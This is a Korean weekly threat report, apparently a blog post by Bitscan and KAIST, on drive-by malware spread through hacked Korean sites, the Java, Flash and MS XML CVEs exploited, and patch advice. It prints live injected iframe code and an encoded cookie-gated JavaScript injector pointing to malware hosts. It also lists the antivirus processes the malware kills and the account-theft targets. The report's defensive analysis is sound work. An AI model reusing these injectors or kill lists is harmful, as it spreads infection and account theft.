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빛스캔과 KAIST 사이버보안연구센터에서 공동 운영하는 보안정보 제공 서비스 7 4주차 국내 인터넷 환경의 위협 분석 내용이며 본 보고서는 빛스캔의 PCDS( Pre Crime Detect System )의 탐지역량과 KAIST 정보보호대학원, 사이버보안센터의 분석 역량이 결집된 분석 보고서입니다. 매주 수요일 한 주간의 국내 인터넷의 실질적인 위협 동향을 분석하고 대응을 하도록 방향 제시를 하고 있습니다.

본 정보제공 서비스는 국내에서 발생되는 악성코드 유포에 대해 직접적으로 분석을 함으로써 위험의 흐름과 대응에 대해서 알 수 있도록 하기 위한 것이 주된 목적이며, 공격 형태의 변화에 따라, 대규모로 확장 및 개선된 상황을 유지하며 운영되고 있습니다.

본 보고서의 활용 용도는 다음과 같은 활용이 가능합니다.


1.      악성링크 및 악성코드 유포에 이용되는 IP 대역 차단을 통한 좀비 PC 감염 방지

2.      악성링크가 공격에 활용에 활용하는 주된 취약성에 대한 내부 보안 강화 정책 - 패치

3.      내부 감염된 APT 공격의 확인  제거에 활용(기술 분석 문서 참고)


·     보고서 내용 중에 기술분석 보고서에는 악성링크의 유형과 실제 감염을 시키는 악성코드의 타입에 따라 보고서가 기술되어 있습니다. 각각은 별개이므로 악성링크(사용자 PC 악성코드를 내리기 위한 공격코드) 대한 분석과 실제 악성코드의 행위와 기능에 대한 분석 시에 참고 하세요. 각각의 악성링크의 분석에는 최종 다운로드 되는 악성코드까지 기술이 되어 있습니다.


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금주 차의 특징은 Java Applet 관련 취약점을 이용한 악성코드 유포가 증가하고 있고 플래시 취약점(CVE-2012-0754) 또한 가파르게 증가하고 있습니다. 7 4주차 감염 취약점 통계를 살펴보면, 전체 취약점 비율 62% Java Applet 관련 취약점에 해당합니다. Java Applet 관련 취약점은 Heap Sparay와 같은 부가적인 공격기법을 필요로 하지 않고 단순히 Java JRE 버전에만 의존적이기 때문에 공격 측면에서 손쉽게 악성코드를 유포시킬 수 있다는 장점이 있기 때문에 공격자들이 악성코드 유포에 적극 활용하고 있습니다.

 

 

차트에서 보는 바와 같이 Java Applet, 플래쉬 관련 취약성 비율이 매우 많이 증가하고 있으며, 기술보고서에 기술된 악성링크 유형에 대부분 포함되어 있기 때문에, 그 감염비중이 매우 크다고 할 수 있습니다. 사용자들은 주기적인 보안 업데이트를 통해 항상 최신 버전의 Java JRE, Flash 사용 및 적극적인 패치 정책 활용을 권장합니다.

 

 




<취약점별 감염비율>

 

 

MS XML 취약점(CVE-2012-1889) 관련 공격이 7 3주차부터 다시 증가하고 있는 추세이며 7 4주차의 악성링크에 모두 포함되어 있습니다. 패치를 발표 했음에도 불구하고 관련 공격이 증가 추세에 있다는 것은 그만큼 사용자들이 패치를 하지 않는다는 반증이기도 합니다. 반드시 패치를 하시기 바랍니다.( http://technet.microsoft.com/ko-kr/security/bulletin/MS12-043  자동 업데이트 서비스 활성화를 해두시면 적용이 됩니다. )

 

모든 악성링크들은 초기에 사용자 브라우저 종류 및 버전을 체크하고 그에 맞는 공격 부분으로 분기를 합니다. 공격성공률을 확인하기 위한 통계 정보 수집은 항상 존재하며, IE, Java, Flash 부분에 대한 권한 획득 부분으로 분기하여 그에 맞는 공격코드들을 실행합니다. 그 이후 PC의 권한을 획득하고 최종 악성코드들을 다운로드 하여 PC에 설치하게 됩니다.

 

 

금주 공격의 특징은 다음과 같습니다.

·  MalwareNet 활성화 ( 5~20개 규모의 신규 Malwarenet 출현)

·  지난 주에도 언급하였던 MalwareNet eyecatalog.co.kr에서 또다시 악성코드 중계지로 악용. ( 해당 사이트는 이미 공격자가 모든 권한을 가지고 자유자재 변경을 하는 곳이므로 추가 피해가 발생 할 수 있으며 예의 주시하고 있습니다.)

·  P2P  언론 매체를 통한 악성코드 유포뿐만 아니라, 호스팅업체, 거래 사이트, 온라인 쇼핑몰, ebook  다양한 사이트들을 활용한 악성코드 유포

·  최초 악성링크 내에 추가적인 연결 링크들을 갖추고 있는 형태  다양한 취약성을 공격하는 복합적인 형태의 악성링크 공격 계속

·  다운로더 및 백도어 형태의 악성코드 유포 증가 – 향후 어떤 방식으로 진화할 지 주목

·  게임 계정 이외에 문화상품권  게임 머니 거래 사이트에 대한 계정 탈취 형 악성코드 계속 발견

·  대부분의 게임 계정 탈취  백신 서비스 killing 계속 되었으며, 계정 탈취는 BHO 이용한 유형이 가장 많이 발견 되고 있어 해당 부분에 대한 전문분석은 6 2주차에 전달해드린 악성 BHO 파일 분석에 자세히 기술됨. 금주 전문분석은 게임 계정 탈취에 대한 기능적 전문분석 자료 제공

 

* 최근에 언론지상에 많이 나타나고 있는 은행권에 대한 Host file 변조를 통한 피싱 공격은 이미 5.6월 정보제공 서비스에서 언급을 드렸던 부분으로서 당시 상당수의 악성코드가 유포 되었을 것으로 추정이 되며, 이후 피해가 지금에서야 계속 드러나는 것으로 볼 수 있습니다. 백신들에 대한 업데이트 주소 변경 내용들도 마찬가지 입니다. 본 서비스에서 제공되는 정보들은 시일이 지날 수록 영향력이 계속 커질 수 밖에 없는 정보들에 대한 분석이 주된 내용입니다. 항상 한달 가량의 보고서 내용들을 살피시고 계속적으로 대응을 해야만 문제 발생 부분을 줄일 수 있습니다. 모든 부분에 있어서 사후 대응이 아닌 사전 대응으로 피해를 예방 하도록 하는 것이 본 서비스의 핵심 가치입니다.


 

* 유포지와 중계지의 의미는 사용자 관점 이나 악성링크의 관점에서 다를 수 있습니다. 저희는 사용자 관점에서 웹 서핑시 방문한 웹서비스가 문제가 있어서 감염이 된다면 직접 방문한 사이트는악성코드 유포지’ , 악성코드를 받아 오게 하는 임의의 주소를악성링크’ , 최종 사용자에게 감염을 일으키는 파일 자체를악성코드라고 정의 하고 있습니다.

 


금주 공격에 사용되었던 MalwareNet의 악성링크는 전자 카탈로그 솔루션 전문업체인 eyecatalog 이며, 20여 곳에서 동시에 악성코드 유포에 활용 되었습니다. 지난 주에도 악성링크로 악용되었지만 대처가 되지 않아 금주에도 다시 악용되었습니다. 악성링크로 직접 이용 됨에 따라 기술보고서에는 실제 링크가 기술되어 있습니다. 악성링크로 이용된 경로는 eyecatalog.co.kr/xxxxx/xxxx.js 입니다. eyecatalog라는 회사는 ebook 제작 솔루션 업계 1위 사이트입니다. 공기업이나 학교에 많은 납품을 하고 있어서 연관성이 있을 경우 추가 피해는 계속 될 것으로 판단 됩니다.


 

금주 차에서는 MalwareNet의 효과 및 전략을 살펴 보기 위해 좀 더 자세히 알려드립니다.

내부 악성링크로 이용된 MalwareNet 링크의 소스코드를 보시면 다음과 같은 악성코드 중계링크가 확인이 됩니다.

 

7 24 14 52 <iframe src='http://kyby.info/beilei/index.html' width='100' height='0' frameborder='0'></iframe>

7 27 20 09 <iframe src='http://odad.info/beilei11/index.html' width='100' height='0' frameborder='0'></iframe>

 

공격자의 의도에 따라 언제든 공격코드가 실행이 되고 활성화 되는 형태를 살펴 볼 수 있으며, 수시로 변경이 됨을 알 수 있습니다.

 

또 다른 MalwareNet pas.dabori.com 이며, 보험 사이트 입니다. 악성링크로 이용된 경로는 pas.dabori.com/test/xxxx/xxxx.js 입니다. 내부 소스를 보시면 다음과 같은 코드를 확인할 수 있습니다.

 

7 20 17 46

if(document.cookie.indexOf('ralrlea')==-1){var expires=new Date();expires.setTime(expires.getTime()+12*60*60*1000);document.cookie='ralrlea=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%70%6B%2E%6D%72%77%64%6C%2E%63%6F%6D%2F%61%64%2F%69%6E%64%65%78%2E%68%74%6D%6C%20%77%69%64%74%68%3D%31%30%30%20%68%65%69%67%68%74%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E"));}

 

->  디코딩 결과

if(document.cookie.indexOf('ralrlea')==-1){var expires=new Date();expires.setTime(expires.getTime()+12*60*60*1000);document.cookie='ralrlea=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("<iframe src=http://pk.mrwdl.com/ad/index.html width=100 height=0></iframe>"));}

 

7 21 19 20

if(document.cookie.indexOf('ralrlea')==-1){var expires=new Date();expires.setTime(expires.getTime()+12*60*60*1000);document.cookie='ralrlea=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("%3C%69%66%72%61%6D%65%20%77%69%64%74%68%3D%31%30%30%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%65%61%6C%74%68%2E%6F%70%65%6E%6C%61%62%2E%63%6F%2E%6B%72%2F%5F%62%73%50%6C%75%67%69%6E%73%2F%69%6E%73%74%61%6E%74%68%65%6C%70%2F%65%78%61%6D%70%6C%65%73%2F%65%78%61%6D%70%31%65%73%2E%68%74%6D%6C%3E%3C%2F%69%66%72%61%6D%65%3E"));}

 

-> 디코딩 결과

if(document.cookie.indexOf('ralrlea')==-1){var expires=new Date();expires.setTime(expires.getTime()+12*60*60*1000);document.cookie='ralrlea=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("<iframe width=100 height=1 frameborder=0 src=http://wealth.openlab.co.kr/_bsPlugins/instanthelp/examples/xxxxx.html></iframe>"));}

 

 

지금의 상황은 사용자 PC에 설치되는 악성코드들은 항상 백신을 우회해서 설치가 되고 또 계속해서 변형들이 출현하고 있는 현 상황에서 웹 서핑만 해도, 웹 서비스에 방문만 해도 감염이 되는 공격코드들은 창궐하고 있습니다.

 

·  Oracle Java 취약성, Adobe Flash 취약성 , MS XML , Midi IE 취약성이 같이 사용 되어 공격 성공 비율을 높이는 경우가 꾸준히 관찰 되고 있으므로 전체 보안 수준 관리에 노력을 기울일 필요가 있습니다. 특히 패치가 발표된 MS XML (CVE 2012-1889) 취약성의 경우 업데이트를 하지 않은 분은 반드시 업데이트를 적용 하시기 바랍니다.

  참고 내용:http://technet.microsoft.com/ko-kr/security/bulletin/MS12-043

·  7 3주차부터 사용률이 급상승한 Java 취약점인 CVE-2012-1723 도 반드시 패치를 하시기 바랍니다.

참고 내용: http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html )

·  기술분석 보고서에 기술된 루트킷 및 키로거, 백도어 기능을 가진 악성코드들은, 사용자 PC의 드라이버 및 시스템 파일 교체, 윈도즈 서비스 등록등을 실행하고, 내부망 스캔 및 키로깅 그리고 외부에서 명령을 대기하는 행위가 지속 관찰 되고 있어서 위험성이 높습니다. 또한 백도어 기능의 설치 시에는 시스템상의 백신 프로세스 Kill 이후에 루트킷 형태를 설치하고 이후 다운로드 받은 모든 악성코드와 실행 주체를 삭제하여 정체를 은폐하고 있으므로 사전 대응에 만전을 기하세요.

* 기술 분석 보고서에 전체 URL이 공개된 국내 사이트들은 악성링크로 직접 이용 되거나 최종 악성코드가 다운로드 된 곳들의 주소는 여과 없이 공개가 되고 있으니 참고하시고 금주 차에는 언론사 및 국내 기업, 기관들의 주소가 직접 활용 되어 기술 되어 있습니다.

·  기술분석보고서에 언급된 게임계정 유출 악성코드들은 전체 악성코드의 80% 이상이 이용되고 있어서 현재 공격자들이 주력하는 부분으로 판단됩니다. 모두 시스템에서의 백신 프로세스를 중지 시키고 국내.외 거의 모든 게임에 대한 프로세스를 지속적으로 모니터링 하고 있으며 현재 목적은 게임계정 탈취로 보여지고 있으나 언제든 외부 도메인 연결과 업데이트를 통해 다른 형태로 전환이 될 수 있습니다.

·  금주 분석 보고서에는 7월부터 3단계로 나뉘어 분석 되어온 악성코드 권한 장악, BHO 파일 분석 부분에 이어 게임 관련 계정을 탈취하는 부분에 대한 전문분석이 시리즈로 마무리 되어 게임 계정 탈취에 대한 전문분석 보고서가 함께 제공이 됩니다.

 

다음은 빛스캔의 PCDS에 탐지된 내용을 바탕으로 하여 공격자들의 전략을 확인해 보면, 국내뿐 아니라 세계적으로도 매우 손쉽게 우회하고 공격 기술의 변화와 난이도를 확인 할 수 있습니다. 아래 이미지에서 확인되듯 공격자들은 비정기적이고 수시로 악성링크와 최종 악성코드를 바꾸고 있습니다. 이렇게 변경하는 이유는 백신 탐지 회피를 하기 위한 목적이 가장 큽니다. 심하면 1시간에 한 번씩 바꾸는 악성코드를 확인한 이후에 대응이 가능한 백신만으로는 막아낼 수 없습니다. 백신은 백신만의 영역이 있고 사전에 얼마나 차단을 하느냐가 핵심입니다.


*현재 빛스캔에서는 악성링크의 판별뿐 아니라 최종 악성코드의 수집과 관찰까지 진행되고 있으며 제공 가능한 상태로 유지 되고 있습니다.

 



<PCDS에서 수집된 동일한 악성링크에서 뿌려진 최종 바이너리 변경내역과 탐지 정보>

 

바이러스 토탈 결과

* 최초 수집일은 7.29일 이며 3일 지난 이후에 각 최종 악성코드에 대해 변화를 체크해 보았습니다.

 

143.

 



168.



 

171.

 



 

175.



 

위의 탐지 정보에서 보듯, 각 시간대 별로 유포된 악성코드들은 별개의 탐지 패턴으로 탐지가 되고 있으며 시간이 지날 수록 탐지 목록이 줄어들 고 있음을 볼 수 있습니다. 3일이 지난 시점에서 체크를 해도 현재의 수준임을 볼 수 있을 정도로 최종 악성코드의 변형도 심각한 상황입니다. 이미 단기간에 대규모로 뿌려지고 난 뒤의 사후 대응 측면에서도 많은 노력이 필요함을 볼 수 있습니다.


 

Diablo III에 대한 공격이 추가된 게임 계정 모니터링 및 백신 Kill 항목, 게임 머니 및 문화상품권 탈취 유형 계속 ( BHO )

 

* 본 내용은 최근의 악성코드들이 기본적으로 탑재하고 있는 기능이며 6 4주차까지 발견 되었던 백신과 게임 계정 탈취 이외에도 문화상품권과 게임 머니 사이트에 대한 계정 탈취 기능이 추가 되었습니다. 모든 기능은 BHO 관련된 공격에 연관 되어 있으며 해당 문제들은 정보제공 서비스에 가입 하셔야만 받으실 수 있는 전문분석 자료를 참고 하세요. 

 

프로세스명

프로그램명

백 신

sgbider.exe, vcsvc.exe

vcsvcc.exe

바이러스체이서

NVCAgent.npc, nsvmon.npc

Nsavsvc.npc, NaverAgent.exe

네이버백신

V3LRun.exe, MUpdate2.exe

SgSvc.exe

V3Light.exe, V3LTray.exe

V3LSvc.exe

V3

AYUpdSrv.aye,

AYRTSrv.aye, SkyMon.exe

AYServiceNT.aye

AYupdate.aye, AyAgent.aye

알약

PCOTP.exe

 

넥슨 OTP

게 임

gamehi.co.kr

게임하이

hangame.com

한게임

netmarble.net

넷마블

Raycity.exe

레이시티

ff2client.exe

피파 온라인2

pmang.com

피망

df.nexon.com, dnf.exe

던전 앤 파이터

DragonNest.exe, dragonnest.nexon.com

드래곤 네스트

WinBaram.exe, baram.nexon.com

바람의 나라

heroes.exe

마비노기 영웅전

wow.exe

월드 오브 워크래프트

lin.bin

리니지

MapleStory.exe

메이플 스토리

clubaudition.ndolfin.com

클럽 오디션

www.capogames.net, samwinfo.capogames.net

삼국지w

Diablo III.exe

디아블로III

게임머니&문화상품권

www.booknlife.com

북앤라이프

www.cultureland.co.kr

컬쳐랜드

www.happymoney.co.kr

해피머니

www.teencach.co.kr

틴캐시

본 보고서에 기술되는 내용들은 이메일등을 이용한 소규모 침투가 아니며 웹서비스를 통한 대량 유포 및 감염입니다.

즉 방문만 하여도 감염이 되는 Drive by Download 공격이며 모든 방문자를 대상으로 하고 있어서 기존의 봇넷이나 이메일을 통한 악성코드 유포와는 차원과 규모가 다른 상태입니다.

 

 

금주 공격에 사용된 취약성 비율

상세 분석 진행에 따라 취약성 판정 비율이 일정 부분 달라지고 있습니다만 큰 흐름은 차이가 없습니다. 공격이 많이 복잡한 형태를 띄고 있어서 정확한 CVE 판정이 어려운 상황은 계속 되고 있습니다.


- CVE-2012-0507(17, 20.7%) Java Applet 취약성 - Java Web start 취약성

http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html

- CVE 2011-3544(16, 19.5%) Java Applet 취약성

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3544

- CVE 2012-1889(16, 19.5%) MS XML Core Service 취약성

http://technet.microsoft.com/ko-kr/security/advisory/2719615

- CVE 2012-0754 (15, 18.2%) Flash 취약성

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0754

- CVE-2012-1723 (18, 21.9%) 자바 애플릿 취약점

http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html

 

취약성 비율을 살펴 보시면 아시겠지만 XML 서비스에 대한 공격은 여전히 유효하며 Java Flash취약성들이 적극적으로 활용 되고 있는 상태를 확인 할 수 있습니다.

 

현재 공격자들도 전략적인 움직임을 보이고 있어서 공개적으로 IP 대역을 알리는 부분은 보고서 구독 고객에게만 한정하여 제공될 예정입니다. 또한 어떤 방식으로든 빛스캔의 악성링크 탐지와 분석 내용에 대해서 인지를 일부 하고 있는 것으로 판단 됩니다. 또한 금주의 총평으로는 MalwareNet의 활성화  Java 취약성 공격 증가입니다. 향후에도 이번 XML 관련 제로데이 사례에서 보듯 유사 사례는 계속 발생할 것으로 예상되고 있습니다. 대규모 유포 시도에 대해서 활용 된다면 언제나 가장 먼저 정보 제공이 가능함을 약속 드립니다.


또한 공격이 활발한 CVE 취약성들에 대해서는 지속적으로 해외 사이트에 게재를 할 예정이고 한글 문서는 본 정보 구독 고객에게만 즉시 전달이 됩니다. 해외 게재 분은 시일이 지난 경우에 활용 되고 있습니다.


본 정보제공 서비스는 공개, 배포 금지( 내부에서만 활용), 비영리 목적으로만 활용 가능합니다.

공익적인 목적으로 기관에 제공 되는 서비스들은 내부 사정에 의해 언제든 종료 될 수 있습니다.

 

감사합니다.

 



*시범 서비스는 순차적으로 1개월 경과 시 종료 됩니다. 4회 이상을 보고서를 받으셨다면 그 이전에 정식 구독서비스를 신청하셔야 보고서가 누락되지 않습니다. KAIST CSRC 주간보안동향 보고서는 1p 짜리의 요약형태로 작성이 되며 무료 배포가 가능합니다. 해당 서비스의 신청은csyong95@kaist.ac.kr 로 신청 하시면 됩니다.

* 정식 구독 서비스 가입 및 시범 서비스 신청은 info@bitscan.co.kr 이며 기관명/ 담당자/ 연락처 기재가 필요하며 시범은 기관/기업별 1회에 한정 합니다. 본 서비스의 권리는 빛스캔에 있으므로 공개적 활용 및 영리적 목적으로 활용 하실 수 없습니다.

* 본 분석은 악성링크 자체의 수집은 빛스캔의 PCDS (Pre crime detect system)를 통해 수집하며, 악성링크 및 악성코드 분석은 KAIST 사이버보안연구센터, 정보보호대학원과 공동으로 진행합니다.

 

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Posted by 바다란